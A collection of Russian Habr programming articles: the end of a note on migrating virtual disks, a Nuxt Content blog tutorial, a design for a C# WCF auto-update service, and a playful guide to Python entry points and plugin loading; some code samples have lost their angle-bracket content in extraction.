1. на сервере-в-облаке запустить миграцию в произвольную директорию дисков Ноды1 и Ноды2;
2. перенести их копированием на FTP (можно было сжать тем же gzip для уменьшения трафика);
3. развернуть на FTP сервере файл виртуального диска, если мы передавали сжатый образ;
4. подключить (не стартуя) к необходимой Ноде и нажать кнопку «migrate».
Данные манипуляции привели бы к штатной миграции образа виртуального диска в необходимое нам хранилище.
Спасибо за внимание, надеюсь кому-то этот текст окажется полезен. | https://habr.com/ru/post/530690/ | null | ru | null |
# Создание блога с помощью Nuxt Content (часть первая)
> От переводчика: Я собирался сделать собственную статью по Nuxt Content, но наткнулся на готовую [статью](https://nuxtjs.org/blog/creating-blog-with-nuxt-content/), которая отлично раскрывает тему. Лучше у меня вряд ли получится, поэтому я решил перевести. Написал автору в твиттер и практически сразу получил согласие. Статья будет с моими дополнениями для лучшего понимания темы.
---
Модуль [Content](https://content.nuxtjs.org) в Nuxt это headless CMS основанной на git файловой системе, которая предоставляет мощные функции для создания блогов, документации или просто добавления контента на обычный сайт. В этой статье мы разберем большинство преимуществ этого модуля и узнаем как создать блог с его помощью.
Видео обзор готового проекта:
Your browser does not support HTML5 video.
[Посмотреть Демо](https://blog-with-nuxt-content.netlify.app/) /
[Код проекта](https://github.com/nuxt-company/demo-blog-nuxt-content)
* [Начало работы](#nachalo-raboty)
+ [Установка](#ustanovka)
+ [Создаем страницу](#sozdaem-stranicu)
+ [Отображение контента](#otobrazhenie-kontenta)
+ [Введенные переменные по умолчанию](#vvedennye-peremennye-po-umolchaniyu)
+ [Пользовательские введенные переменные](#polzovatelskie-vvedennye-peremennye)
+ [Стилизация markdown контента](#stilizaciya-markdown-kontenta)
+ [Добавление иконки к ссылке наших заголовков](#dobavlenie-ikonki-k-ssylke-nashih-zagolovkov)
+ [Добавляем оглавление](#dobavlyaem-oglavlenie)
+ [Использование HTML в .md файлах](#ispolzovanie-html-v-md-faylah)
+ [Добавление Vue компонента](#dobavlenie-vue-komponenta)
Начало работы
-------------
### Установка
Чтобы начать работу с модулем Content, нам сначала нужно установить модуль с помощью npm или yarn.
```
yarn add @nuxt/content
```
```
npm install @nuxt/content
```
Затем мы добавим его в сборку модулей в файле nuxt.config.
```
export default {
modules: ['@nuxt/content']
}
```
> Если вы создаете новый проект с помощью create-nuxt-app, можете выбрать опцию добавить модуль Content, и он будет установлен.
### Создаем страницу
Модуль Content читает файлы в нашем каталоге `content/`.
```
mkdir content
```
> Если вы создали свой проект с помощью `create-nuxt-app`, каталог `content/` будет уже создан.
Давайте создадим директорию `articles/`, куда мы сможем добавлять статьи для нашего блога.
```
mkdir content/articles
```
Модуль Content может анализировать markdown, csv, yaml, json, json5 или xml файлы. Давайте создадим нашу первую статью в markdown файле:
```
touch content/articles/my-first-blog-post.md
```
Теперь добавим заголовок и текст для нашего сообщения в блоге:
```
# My first blog post
Welcome to my first blog post using content module
```
> В markdown мы создаем заголовок с помощью значка `#`. Убедитесь, что вы оставили пробел между ним и заголовком вашего блога. Для получения дополнительной информации о записи в markdown стиле смотрите [Руководство по основному синтаксису](https://www.markdownguide.org/basic-syntax).
### Отображение контента
Чтобы отобразить контент на странице, мы используем [динамическую страницу](https://nuxtjs.org/guide/routing#dynamic-routes), добавив к странице знак подчеркивания (`_`). Создав компонент страницы с именем `_slug.vue` внутри папки `blog`, мы можем использовать переменную `params.slug`, предоставляемую vue router, для получения имени каждой статьи.
```
touch pages/blog/_slug.vue
```
Затем используем `asyncData` в компоненте страницы для получения содержимого статьи до того, как страница будет отрисована. Мы можем получить доступ к контенту через context, используя переменную `$content`. Поскольку мы хотим получить динамическую страницу, нам также необходимо знать, какую статью нужно получить с помощью `params.slug`, который доступен нам через [context](https://nuxtjs.org/api/context).
```
export default {
async asyncData({ $content, params }) {
// fetch our article here
}
}
```
Внутри асинхронной функции `asyncData` мы создаем переменную с именем `article`, которая принимает контент, используя `await`, за которым следует `$content`. Нужно передать в `$content` параметры того, что мы хотим получить, в нашем случае это папка `articles` и `slag`, который мы получаем из params. По цепочке в конце добавляем метод fetch, который возвращает нужную статью.
```
export default {
async asyncData({ $content, params }) {
const article = await $content('articles', params.slug).fetch()
return { article }
}
}
```
Чтобы отобразить контент, используем компонент , передав переменную в параметр `document`. В этом примере мы заключили его в HTML тег article, согласно правилам семантического синтаксиса, но вы можете использовать div или другой тег HTML, если хотите.
```
```
Теперь мы можем запустить сервер разработки и перейти по маршруту <http://localhost:3000/blog/my-first-blog-post>. Мы должны увидеть контент из .md файла.
### Введенные переменные по умолчанию
Модуль Content Nuxt дает нам доступ к введенным переменным, которые мы можем показать в нашем шаблоне. Давайте посмотрим на переменные по умолчанию, которые вводятся в документ:
* **body**: содержимое документа
* **dir**: директория
* **extension**: расширение файла (.md в этом примере)
* **path**: путь к файлу
* **slug**: имя файла
* **toc**: массив, содержащий оглавление
* **createdAt**: дата создания файла
* **updatedAt**: дата последнего изменения файла
Мы можем получить доступ ко всем этим переменным, используя созданную ранее переменную `article`. `Article` — это объект, который содержит все эти дополнительные введенные переменные, к которым у нас есть доступ. Давайте проверим их, распечатав с помощью тега .
```
```
{{ article }}
```
```
Теперь на нашей странице мы видим, что у нас есть объект с переменной, которая представляет собой пустой массив, и переменную содержимого(body), которая включает все наши теги h1 и p, а также некоторую другую информацию, которую мы рассмотрим позже. Если мы прокрутим вниз, вы увидите все остальные переменные, к которым есть доступ.
```
"dir": "/articles",
"path": "/articles/my-first-blog-post",
"extension": ".md",
"slug": "my-first-blog-post",
"createdAt": "2020-06-22T10:58:51.640Z",
"updatedAt": "2020-06-22T10:59:27.863Z"
```
Это означает, что мы можем получить доступ к этим свойствам, используя нашу переменную article, добавив точку и имя свойства, которую мы хотим использовать. Например, `article.updatedAt` даст нам дату последнего обновления поста.
```
Post last updated: {{ article.updatedAt }}
```
Как видите, дата не так уж и читабельна для людей. Мы можем отформатировать ее, создав метод, который принимает дату и возвращает новую дату с параметрами года, месяца и дня, отформатированными так, как мы хотим.
```
methods: {
formatDate(date) {
const options = { year: 'numeric', month: 'long', day: 'numeric' }
return new Date(date).toLocaleDateString('en', options)
}
}
```
А затем в нашем шаблоне мы можем использовать метод `formatDate`, принимающий дату, которую мы получаем из контента, и возвращающий уже отформатированную дату.
```
Article last updated: {{ formatDate(article.updatedAt) }}
```
### Пользовательские введенные переменные
Мы также можем добавить пользовательские введенные переменные, добавив блок YAML в наш md файл. Он должен находиться в верхней части файла, иметь допустимый формат YAML и находиться между двумя тройными пунктирными линиями. Это полезно для добавления переменных SEO, таких как заголовок, описание и изображение вашей статьи.
```
---
title: My first Blog Post
description: Learning how to use @nuxt/content to create a blog
img: first-blog-post.jpg
alt: my first blog post
---
```
Теперь у нас есть переменные title, description, img и alt, к которым у нас есть доступ из объекта ʻarticle`.
```
{{ article.title }}
===================
{{ article.description }}
![]()
Article last updated: {{ formatDate(article.updatedAt) }}
```
> Чтобы отрендерить изображения, включенные в YAML разделе файла, нам нужно либо поместить их в статическую папку, либо использовать синтаксис:
>
> `:src="require(`~/assets/images/${article.image}`)"`.
>
> Изображения, включенные в содержимое статьи, всегда следует помещать в папку **static**, поскольку @nuxt/content не зависит от Webpack. Эта папка не пропускается через Webpack, в отличие от папки assets.
### Стилизация markdown контента
Если мы посмотрим на код получившейся страницы, мы увидим, что все, что написано внутри нашего файла, заключено в div с классом nuxt-content. Это означает, что мы можем легко добавить стили ко всем нашим элементам из нашего markdown файла, заключив их в класс nuxt-content.
```
.nuxt-content h2 {
font-weight: bold;
font-size: 28px;
}
.nuxt-content h3 {
font-weight: bold;
font-size: 22px;
}
.nuxt-content p {
margin-bottom: 20px;
}
```
Чтобы использовать стили с ограниченной областью видимости с классом nuxt-content, вам необходимо использовать deep селектор: `/deep/`, `::v-deep` или `>>>`
Все остальные данные, которые поступают из YAML раздела, можно оформить как обычно: используя [TailwindCSS](https://tailwindcss.com/) или добавив в CSS в стиль тега.
Наши теги из md файла преобразуются в правильные теги, что означает, что теперь у нас есть два заголовка, два тега . Удалим один из md файла.
### Добавление иконки к ссылке наших заголовков
Обратите внимание, что внутри тега есть тег с `href`, который содержит id для ссылки на себя, и тег `span` внутри него с `icon` и `icon-link` классы. Это полезно для ссылки на этот раздел страницы. Ссылки в заголовках пусты и поэтому скрыты, поэтому давайте добавим им стиль. Используя классы значков, мы можем добавить svg-иконки в качестве фонового изображения для нашего значка. Сначала вам нужно будет добавить сами иконки в папку с ресурсами assets. В этом примере я добавила его в папку svg и взяла иконки [Steve Schoger's Hero Icons.](https://github.com/sschoger/heroicons-ui)
```
.icon.icon-link {
background-image: url('~assets/svg/icon-hashtag.svg');
display: inline-block;
width: 20px;
height: 20px;
background-size: 20px 20px;
}
```
### Добавляем оглавление
Сгенерированная переменная `toc` позволяет нам добавить оглавление к нашему посту в блоге. Давайте добавим заголовки к нашему сообщению в блоге.
```
## This is a heading
This is some more info
## This is another heading
This is some more info
```
Теперь мы можем видеть эти новые заголовки внутри массива `toc` с идентификатором, глубиной и текстом. Значение глубины является значением тега заголовка, поэтому значение глубины 2 приравнено тегу и равно 2, значение 3 тегу`###` и т. д.
```
## This is a heading
This is some more info
### This is a sub heading
This is some more info
### This is another sub heading
This is some more info
## This is another heading
This is some more info
```
Поскольку у нас есть доступ к `toc` и тексту, мы можем перебрать и отобразить их все, а в компоненте сделать ссылку на якорь раздела, на который мы хотим создать ссылку.
```
* {{ link.text }}
```
Теперь ссылки ToC работают, и нажатие на любую из них приведет нас к нужной части документа. Модуль Content автоматически добавляет идентификатор и ссылку к каждому заголовку. Если мы проверим один из заголовков из нашего .md файла в инструментах разработки браузера, мы увидим, что у нашего тега есть идентификатор. Это тот же идентификатор, который находится в `toc`, который по сути из него и берется для ссылки на правильный заголовок.
Мы можем улучшить верстку дальше, используя динамические классы для стилизации классов заголовков в зависимости от глубины заголовка, которую мы можем добавить в наш тег nuxt-link. Если ссылка имеет глубину 2, добавьте отступ по оси y, а если глубина равна 3, добавьте поле слева и отступ внизу. Здесь мы используем классы [TailwindCSS](https://tailwindcss.com/), но, конечно же, можно использовать собственные имена и стили классов.
```
:class="{ 'py-2': link.depth === 2, 'ml-2 pb-2': link.depth === 3 }"
```
### Использование HTML в .md файлах
Иногда нам может понадобиться добавить HTML в наши файлы c разметкой. Давайте добавим div с некоторыми классами, чтобы он имел синий цвет фона с белым текстом, небольшим отступом и нижним краем.
```
This is HTML inside markdown that has a class of note
```
### Добавление Vue компонента
А также мы можем добавлять Vue компоненты в .md файлы. Это означает, что если мы множество раз используем такие компоненты, как информационное окно или окно предупреждения, мы можем создать его с нужными нам стилями и передать текст в слот.
Теперь мы можем добавлять компоненты в наше приложение, установив для свойства «components» значение «true» в нашем файле «nuxt.config». (начиная с v2.13)
```
export default {
components: true
}
```
Автоматический импорт компонентов не будет работать для , если мы не зарегистрируем их глобально, добавив глобальную папку внутри папки компонентов.
```
mkdir components/global
```
А теперь можно создать наш компонент InfoBox внутри этой папки.
```
default
```
Теперь в нашей разметке эти компоненты будут доступны без необходимости их импорта.
```
This is a vue component inside markdown using slots
```
> Глобальные компоненты будут доступны для всего нашего приложения, поэтому будьте осторожны при добавлении компонентов в эту папку. Это работает иначе, чем добавление компонентов в папку components, которые добавляются (наверное, имеется в виду импортируются — прим. пер.) только в том случае, если они используются (начиная с Nuxt v2.13 компоненты в папке components импортируются автоматически, достаточно написать в Nuxt конфиге: `components: true` — прим. пер.).
---
От переводчика: На этом первая часть статьи подошла к концу. Дебби познакомила нас с мощным инструментом от создателей Nuxt'а, который они, кстати, сами используют на своем сайте для документации фреймворка. В этом, в общем-то, основное его применение. Если вы думали, что наконец-то нашли простую CMS, на которой можно быстро шлепать проекты и отдавать заказчику, то это не так. Из-за git-подобной системы наполнения контента, проект должен всегда быть под контролем разработчиков. Она идеальна для документации инструментов разработки, и любого другого контента не требующего частого обновления. Если же контент должен динамически обновляться из-за действий пользователей, то тут без базы данных не обойтись.
В следующей части мы узнаем как стилизовать код в статьях, сортировать статьи по различным параметрам, работать с API Content и многое другое.
Продолжение следует... | https://habr.com/ru/post/522496/ | null | ru | null |
# Пишем свой сервис авто-обновлений
Большинство разработчиков stand-alone приложение рано или поздно сталкиваются с проблемой доставки обновлений для своего приложения. В этой статье я постараюсь решить эту проблему наилучшим, на мой взгляд, способом — написать свой собственный универсальный сервис авто-обновлений, который будет висеть в процессах в единственном экземпляре и доставлять обновления для всех подписавшихся приложений.
Существует несколько готовых решений для .NET, но самое актуальное — это ClickOnce. Эту технологию уже нельзя назвать новой, однако серьёзное развитие, на мой взгляд, она получила не так давно, и не обладает исчерпывающим функционалом.
Если вы не хотите изобретать велосипед, то советую вам пристально изучить возможности ClickOnce, и если вам будет достаточно предлагаемого функционала, то это определенно ваш выбор. Однако ClickOnce не панацея и далеко не всегда ею можно обойтись.
Сейчас же я хочу рассказать о своём видении механизма авто-обновлений. Я не претендую на истинность в последней инстанции, так что конструктивная критика и предложения в комментариях приветствуются.
**UPD:** Суть реализации заключается в том, чтобы уменьшить количество процессов и служб, которые занимаются обновлением. Если у вас несколько приложений, то все они смогут «получать» обновления от одного единственного Windows-сервиса. Не надо будет для каждого приложения запускать лаунчер, держать соединение с сервером обновлений. Теоретически в системе всеми обновлениями может заниматься один процесс, и возможно этим процессом скоро станет ClickOnce, если разработчики перестанут делать свои «велосипеды». А разработчики перестанут делать свои велосипеды тогда, когда им будет достаточно функционала ClickOnce. Сейчас, к сожалению, это не всегда так.
Итак задача
===========
Пусть у нас есть несколько разных приложений, установленных на компьютере пользователя. Мне бы хотелось написать универсальный сервис авто-обновлений, чтобы потом я мог использовать его и в других приложениях. И все приложения обновлялись используя только одну службу, что сэкономило бы ресурсы при большом количестве софта. Так же желательно, чтобы в существующих приложениях мне потребовалось внести минимальные изменения для подключения и настройки авто-обновлений. Процесс обновления должен быть настраиваемый для каждого приложения.
Реализация
==========
Чтобы как-то конкретизировать задачу, решать её я буду применительно к ОС Windows, код писать на C#.NET, хотя в этой статье я буду в основном оперировать абстракциями и приводить только небольшие отрывки кода.
Мой сервис авто-обновлений состоит из 3 модулей:
1) Веб-сервис с самими обновлениями, учетом версий, базой данных всех поддерживаемых приложений и всем остальным что можно сюда вынести (например некоторые “удаленные” настройки процесса обновления конкретного приложения).
2) Windows-сервис, который будет коннектиться к веб-сервису и поверять обновления для всех подписанных приложений, по таймеру и по требованию.
3) Client-библиотека, которая будет знать как коннектиться к Windows-сервису Updater’а, а так же предоставлять приложению callback интерфейс.
Я разнес это все на 3 сборки и назвал соответственно.
**Updater.Online** — веб-сервис
**Updater.Service** — windows-сервис
**Updater.Client** — клиентский-модуль
Так же я выделил еще одну сборку для общих абстракций — **Updater.Domain**.
Updater Online
--------------
Начнем с Веб-сервиса. Тут всё просто, все можно впихнуть в один метод CheckForUpdates, который принимает ApplicationID и CurrentVersion, смотрит в базе есть ли актуальные обновления для данного приложения, и если есть возвращает путь к .zip файлу с обновление или null если обновлений нету. Это простейший случай, вообще как и запрашиваемых параметров так и результатов запроса может быть больше.
Сервис может возвращать дополнительную информацию, которая может пригодиться в процессе обновления. Например на сервисе можно указывать возможно ли обновление в silent-mode для данного приложения, дополнительные данные о том как скачать обновление, в каком оно формате, какой у него размер и т.д.
Updater Service
---------------
Это пожалуй самый объёмный модуль. Здесь находится WCF сервис UpdaterService, ниже приведен интерфейс, который он реализует, и callback-интерфейс.
```
[ServiceContract(CallbackContract = typeof(IUpdateServiceCallback))]
public interface IUpdaterService
{
#region Callback subsctibe/unsibscribe methods
[OperationContract(IsOneWay = true)]
void Subscribe(SubscribeRequest request);
[OperationContract(IsOneWay = true)]
void Unsubscribe(UnsubscribeRequest request);
#endregion
[OperationContract(IsOneWay = true)]
void InstallAvalibleUpdates(InstallAvalibleUpdatesRequst request);
[OperationContract(IsOneWay = true)]
void DownloadUpdate(Guid applicationId);
[OperationContract(IsOneWay = true)]
void CheckForUpdates(Guid applicationId);
}
[ServiceContract]
public interface IUpdateServiceCallback
{
[OperationContract(IsOneWay = true)]
void OnUpdateDetected(UpdateDetectedEventArgs eventArgs);
[OperationContract(IsOneWay = true)]
void OnUpdateDownloaded(UpdateDownloadedEventArgs updateDetectedEventArgs);
[OperationContract(IsOneWay = true)]
void OnUpdateInstalled(UpdateInstalledEventArgs eventArgs);
}
```
В методе Subscribe я добавляю callback, который пришел от клиента в статический Dictionary, где TAppID — айдишник приложения ( у меня Guid), для каждого приложения отдельный список callback’ов.
Вот реализация метода Subscribe
```
public void Subscribe(SubscribeRequest request)
{
// Достаем из контекста calback переданный клиентом
IUpdateServiceCallback callback = OperationContext.Current.GetCallbackChannel();
//делаем lock, чтобы синхронизировать работу с коллекцией приложений
lock (sync)
{
// Получаем от сервиса объект типа Application по его ID. Если такого нету,
// то создаём новый. Добавляем/обновляем информацию о подписанном приложении
var app = applicationService.Get(request.ApplicationId);
if (app == null)
{
app = new Application()
{
Id = request.ApplicationId
};
applicationService.Add(app);
}
app.CurrentVersion = request.Version ?? app.CurrentVersion;
app.RootFolderPath = request.RootFolder ?? app.RootFolderPath;
app.Name = request.ApplicationName ?? app.Name;
}
// Получаем лист callback’ов для текущего приложения или создаём новый,
// добавляем подписку к делегатам
var list = GetEventList(request.ApplicationId) ?? new CallbacksList();
list.OnUpdateDetected += callback.OnUpdateDetected;
list.OnUpdateDownloaded += callback.OnUpdateDownloaded;
if (registredCallbacks.ContainsKey(request.ApplicationId))
{
registredCallbacks[request.ApplicationId] = list;
}
else
{
registredCallbacks.Add(request.ApplicationId, list);
}
// Подписываемся на события объекта связи, чтобы отслеживать
// закрытие клиента и выполнять некоторые действия (например
// проверять отписался ли он)
ICommunicationObject obj = (ICommunicationObject)callback;
obj.Closing += ClientClosing;
obj.Closed += ClientClosed;
applicationService.SaveChanges();
}
```
Так же в реализации UpdaterService я добавил статические методы для вызова Callback, чтобы немного скрыть саму реализацию их вызова. Эти методы вызваются на стороне Updater Service, когда необходимо инициировать соответствующие события на сторон клиента.
```
private static Dictionary registredCallbacks;
// Метод выбирает из словоря список callback’ов или возвращает null если его там нету
private static CallbacksList GetEventList(Guid appId)
{
CallbacksList result;
return registredCallbacks.TryGetValue(appId, out result) ? result : null;
}
// Предоставляет список callback’ов и выполняет выбранный
private static void PerformCallback(Guid applicationId, Action func)
{
try
{
var list = GetEventList(applicationId);
if (list != null)
{
func(list);
}
}
catch
{
}
}
// Метод инициирует событие OnUpdateDetected на всех подписанных клиентах
// с указанным ApplicatioId
public static void OnUpdateDetected(UpdateDetectedEventArgs args)
{
PerformCallback(args.ApplicationId, callbacks => callbacks.OnUpdateDetected(args));
}
```
Так же на сервисе я запускаю “таймер”, который проверяет обновления для всех подписанных приложений через заданный промежуток времени.
У меня в коде фигурирует ApplicationService, хоть я и назвал его сервисом, он больше похож на хранилище информации о подписанных приложениях и обновлений для них.
Вот классы приложения и обновления.
```
public class Application
{
public Guid Id { get; set; }
public String Name { get; set; }
public Version CurrentVersion { get; set; }
public String RootFolderPath { get; set; }
public List Updates { get; set; }
}
public class Update
{
public String UpdateUrl { get; set; }
public Version Version { get; set; }
public bool IsInstalled { get; set; }
public bool IsDownloaded { get; set; }
public string UpdateLocalPath { get; set; }
}
```
Updater Client
--------------
Эта сборка подключаеься в приложении и следит за сообщениями с Updater сервиса, сообщая о них приложению через объект реализующий IUpdateServiceCallback.В качестве callback’а передаваемого сервису можно использовать тот же объект, что был передан из приложения в Updater Client, но лучше сделать обертку, чтобы фильтровать информацию, передаваемую клиентскому приложению, а не пихать ему все подряд, что вернет Updater сервис. В приведенной мной реализации обертка не используеться. Так же клиентское приложение передает данные о себе в виде объекта, реализующего интерфейс IUpdatаble.
```
public interface IUpdatаble
{
Guid ApplicationId { get; }
String ApplicationName { get; }
String RootFolder { get; }
}
public class UpdaterClient
{
private IUpdaterService client;
private IUpdateble settings;
private DuplexChannelFactory factory;
public UpdaterClient(IUpdateServiceCallback callback, IUpdateble settings)
{
this.settings = settings;
var context = new InstanceContext(callback);
var binding = new NetTcpBinding();
// Создаем фабрику двусторонних каналов связи, в качестве колбэка
// используем переданный в конструктор пользовательский объект,
// который реализует интерфейс IUpdateServiceCallback
factory = new DuplexChannelFactory(context, binding,
new EndpointAddress(UpdaterSettings.Default.UpdaterServiceUrl));
client = factory.CreateChannel();
}
// Предоставляем клиенту методы сервиса, в качестве
// параметров используем данный из Iupdateble объекта,
// который был передан в конструкторе
public void Subscribe()
{
client.Subscribe(new SubscribeRequest()
{
ApplicationId = settings.ApplicationId,
RootFolder = settings.RootFolder,
Version = settings.Version,
ApplicationName = settings.ApplicationName
});
}
public void Unsubscribe()
{
client.Unsubscribe(new UnsubscribeRequest()
{
ApplicationId = settings.ApplicationId
});
}
public void InstallUpdates(bool reopenOnComplete)
{
InstallUpdates(reopenOnComplete);
}
public void DownloadUpdate()
{
client.DownloadUpdate(new DownloadUpdateRequest()
{
ApplicationId = settings.ApplicationId
});
}
public void CheckForUpdates()
{
client.CheckForUpdates(settings.ApplicationId);
}
public void InstallUpdates(bool reopenOnComplete)
{
client.InstallAvalibleUpdates(new InstallAvalibleUpdatesRequst()
{
ApplicationId = settings.ApplicationId,
RestartOnComplete = reopenOnComplete
});
}
}
```
Ну вот собственно и всё. Используется на стороне клиента следующим образом — подключаем сборку Updater.Client, создаём объект типа UpdaterClient, вызываем метод Subscribe, и наше приложение начинает получать сообщения от сервиса о новых обновлениях. | https://habr.com/ru/post/131649/ | null | ru | null |
# Точки входа в Python
Многие думают, что точки входа это такие инструкции в **setup.py**, которые позволяют сделать пакет доступным для запуска из командной строки. Это, в целом, верно, но возможности точек входа не ограничиваются этим.
Ниже я покажу как можно реализовать систему плагинов для пакета, чтобы другие люди могли с ним взаимодействовать или, например, расширять его функциональность динамически.
***Осторожно**: специфический юмор далее по тексту.*
ООО «Змейка»
------------
Поздравляю! Вас только что назначили главой ООО «Змейка». Это очень ответственная должность, ударить в грязь лицом нельзя, а значит, нужно как можно скорее дать указание отделу разработки приступить к созданию прототипа продукта. И вот, лучшие умы компании начинают работу над snek.py:
```
ascii_snek = """\
--..,_ _,.--.
`'.'. .'`__ o `;__.
'.'. .'.'` '---'` `
'.`'--....--'`.'
`'--....--'`
"""
def main():
print(ascii_snek)
if __name__ == '__main__':
main()
```
Чуть позже, на собрании акционеров вы с гордостью демонстрируете первые результаты!
```
$ python snek.py
--..,_ _,.--.
`'.'. .'`__ o `;__.
'.'. .'.'` '---'` `
'.`'--....--'`.'
`'--....--'`
```
Змейка как сервис
-----------------
К сожалению, рядовой потребитель пока ещё не освоил Python и хочет запускать программу из консоли, не думая об интерпретаторе или местоположении **snek.py**. Что ж, наши лучшие специалисты на то и лучшие, что смогли запаковать скрипт так, чтобы он автоматически создавал консольную команду при установке.
Для создания распространяемого пакета нам нужен файл **setup.py**, где содержится информация о зависимостях, лицензии и т.д. Помимо этого, в нём можно указать точки входа:
```
from setuptools import setup
setup(
name='snek',
entry_points={
'console_scripts': [
'snek = snek:main',
],
}
)
```
**console\_scripts**, как пояснили специалисты, специальная точка входа. **setuptools** читает её элементы как **"<консольный скрипт> = <путь к питоновскому объекту>"**, создавая для каждого элемента консольную утилиту при установке пакета.
Пока что давайте установим скрипт из исходников:
```
$ python setup.py develop
running develop
running egg_info
writing snek.egg-info\PKG-INFO
writing dependency_links to snek.egg-info\dependency_links.txt
writing entry points to snek.egg-info\entry_points.txt
writing top-level names to snek.egg-info\top_level.txt
reading manifest file 'snek.egg-info\SOURCES.txt'
writing manifest file 'snek.egg-info\SOURCES.txt'
running build_ext
Creating c:\program files (x86)\py36-32\lib\site-packages\snek.egg-link (link to .)
snek 0.0.0 is already the active version in easy-install.pth
Installing snek-script.py script to C:\Program Files (x86)\Py36-32\Scripts
Installing snek.exe script to C:\Program Files (x86)\Py36-32\Scripts
Installing snek.exe.manifest script to C:\Program Files (x86)\Py36-32\Scripts
Installed c:\users\rachum\notebooks
Processing dependencies for snek==0.0.0
Finished processing dependencies for snek==0.0.0
```
На конференции, посвящённой итогам года, вы выступаете, демонстрируя новейшую разработку:
```
$ snek
--..,_ _,.--.
`'.'. .'`__ o `;__.
'.'. .'.'` '---'` `
'.`'--....--'`.'
`'--....--'`
```
Змейка в каждый дом
-------------------
Змейка завоёвывает мир. Компания провела IPO и была оценена в рекордные 60 миллиардов долларов. Хипстеры требуют новую, стильную, модную и молодёжную змейку. А раз есть спрос, будет и предложение:
```
"""Печатает ASCII змейку.
Использование:
snek [--type=TYPE]
"""
import docopt
normal_snek = """\
--..,_ _,.--.
`'.'. .'`__ o `;__.
'.'. .'.'` '---'` `
'.`'--....--'`.'
`'--....--'`
"""
fancy_snek = """\
_,..,,,_
'``````^~"-,_`"-,_
.-~c~-. `~:. ^-.
`~~~-.c ; `:. `-, _.-~~^^~:.
`. ; _,--~~~~-._ `:. ~. .~ `.
.` ;' .:` `: `:. ` _.:-,. `.
.' .: :' _.-~^~-. `. `..' .: `. '
: .' _:' .-' `. :. .: .'`. : ;
: `-' .:' `. `^~~^` .:. `. ; ;
`-.__,-~ ~-. ,' ': '.__.` :'
~--..--' ':. .:'
':..___.:'
"""
def get_sneks():
return {
'normal': normal_snek,
'fancy': fancy_snek,
}
def main():
args = docopt.docopt(__doc__)
snek_type = args['--type'] or 'normal'
print(get_sneks()[snek_type])
if __name__ == '__main__':
main()
```
Хипстеры в восторге:
```
$ snek
--..,_ _,.--.
`'.'. .'`__ o `;__.
'.'. .'.'` '---'` `
'.`'--....--'`.'
`'--....--'`
$ snek --type fancy
_,..,,,_
'``````^~"-,_`"-,_
.-~c~-. `~:. ^-.
`~~~-.c ; `:. `-, _.-~~^^~:.
`. ; _,--~~~~-._ `:. ~. .~ `.
.` ;' .:` `: `:. ` _.:-,. `.
.' .: :' _.-~^~-. `. `..' .: `. '
: .' _:' .-' `. :. .: .'`. : ;
: `-' .:' `. `^~~^` .:. `. ; ;
`-.__,-~ ~-. ,' ': '.__.` :'
~--..--' ':. .:'
':..___.:'
```
Транснациональная Змейка
------------------------
Миллионы человек не мыслят свой день без змейки. Даже после поглощения Гугла ресурсов ООО «Змейка» не хватает, чтобы удовлетворять потребности пользователей по всему миру. Похоже настало время дать людям возможность создавать собственных змеек на базе нашей инфраструктуры.
```
"""Печатает ASCII змейку.
Использование:
snek [--type=TYPE]
"""
import docopt
import pkg_resources
normal_snek = """\
--..,_ _,.--.
`'.'. .'`__ o `;__.
'.'. .'.'` '---'` `
'.`'--....--'`.'
`'--....--'`
"""
fancy_snek = """\
_,..,,,_
'``````^~"-,_`"-,_
.-~c~-. `~:. ^-.
`~~~-.c ; `:. `-, _.-~~^^~:.
`. ; _,--~~~~-._ `:. ~. .~ `.
.` ;' .:` `: `:. ` _.:-,. `.
.' .: :' _.-~^~-. `. `..' .: `. '
: .' _:' .-' `. :. .: .'`. : ;
: `-' .:' `. `^~~^` .:. `. ; ;
`-.__,-~ ~-. ,' ': '.__.` :'
~--..--' ':. .:'
':..___.:'
"""
def get_sneks():
sneks = {
'normal': normal_snek,
'fancy': fancy_snek,
}
for entry_point in pkg_resources.iter_entry_points('snek_types'):
sneks[entry_point.name] = entry_point.load()
return sneks
def main():
args = docopt.docopt(__doc__)
snek_type = args['--type'] or 'normal'
print(get_sneks()[snek_type])
if __name__ == '__main__':
main()
```
Теперь, каждый раз когда **snek** запущена, она ищет других зарегистрированных в системе змеек, используя точку входа **snek\_types**. Каждая такая змейка зарегистрирована под названием её типа, что позволяет выбирать нужную змейку в зависимости от параметров консоли.
Всё самое главное происходит внутри **get\_sneks**. Вызов **pkg\_resources.iter\_entry\_points('snek\_types')** позволяет пройтись по всем точкам входа, зарегистрированным под именем **«snek\_types»** где-либо. Таким образом, любой сторонний пакет сможет в своём **setup.py** создать точку входа **«snek\_types»**, чтобы быть загруженным нашим скриптом.
Мы рассказали о **«snek\_types»** нашим коллегам из ООО «Змеиные решения», и они тут же начали создавать змейку своей мечты. Вот каким получился их пакет **cute\_snek.py**:
```
cute_snek = r"""
/^\/^\
_|__| O|
\/ /~ \_/ \
\____|__________/ \
\_______ \
`\ \ \
| | \
/ / \
/ / \
/ / \ \
/ / \ \
/ / _----_ \ \
/ / _-~ ~-_ | |
( ( _-~ _--_ ~-_ _/ |
\ ~-____-~ _-~ ~-_ ~-_-~ /
~-_ _-~ ~-_ _-~
~--______-~ ~-___-~
"""
```
А вот как они реализовали свой **setup.py**, чтобы наша **snek** могла загрузить их змейку:
```
from setuptools import setup
setup(
name='cute_snek',
entry_points={
'snek_types': [
'cute = cute_snek:cute_snek',
],
}
)
```
Они зарегистрировали переменную **cute\_snek** в модуле **cute\_snek** под именем **cute**. Далее они устанавливают пакеты **snek** и **cute\_snek**:
```
$ cd cute_snek && python setup.py develop
running develop
running egg_info
writing cute_snek.egg-info\PKG-INFO
writing dependency_links to cute_snek.egg-info\dependency_links.txt
writing entry points to cute_snek.egg-info\entry_points.txt
writing top-level names to cute_snek.egg-info\top_level.txt
reading manifest file 'cute_snek.egg-info\SOURCES.txt'
writing manifest file 'cute_snek.egg-info\SOURCES.txt'
running build_ext
Creating c:\program files (x86)\py36-32\lib\site-packages\cute-snek.egg-link (link to .)
cute-snek 0.0.0 is already the active version in easy-install.pth
Installed c:\users\rachum\cute_snek
Processing dependencies for cute-snek==0.0.0
Finished processing dependencies for cute-snek==0.0.0
```
Теперь, запустив **snek**, они могут вывести свою змейку из пакета **cute\_snek** за счёт её динамической загрузки по точке входа:
```
$ snek --type cute
/^\/^\
_|__| O|
\/ /~ \_/ \
\____|__________/ \
\_______ \
`\ \ \
| | \
/ / \
/ / \
/ / \ \
/ / \ \
/ / _----_ \ \
/ / _-~ ~-_ | |
( ( _-~ _--_ ~-_ _/ |
\ ~-____-~ _-~ ~-_ ~-_-~ /
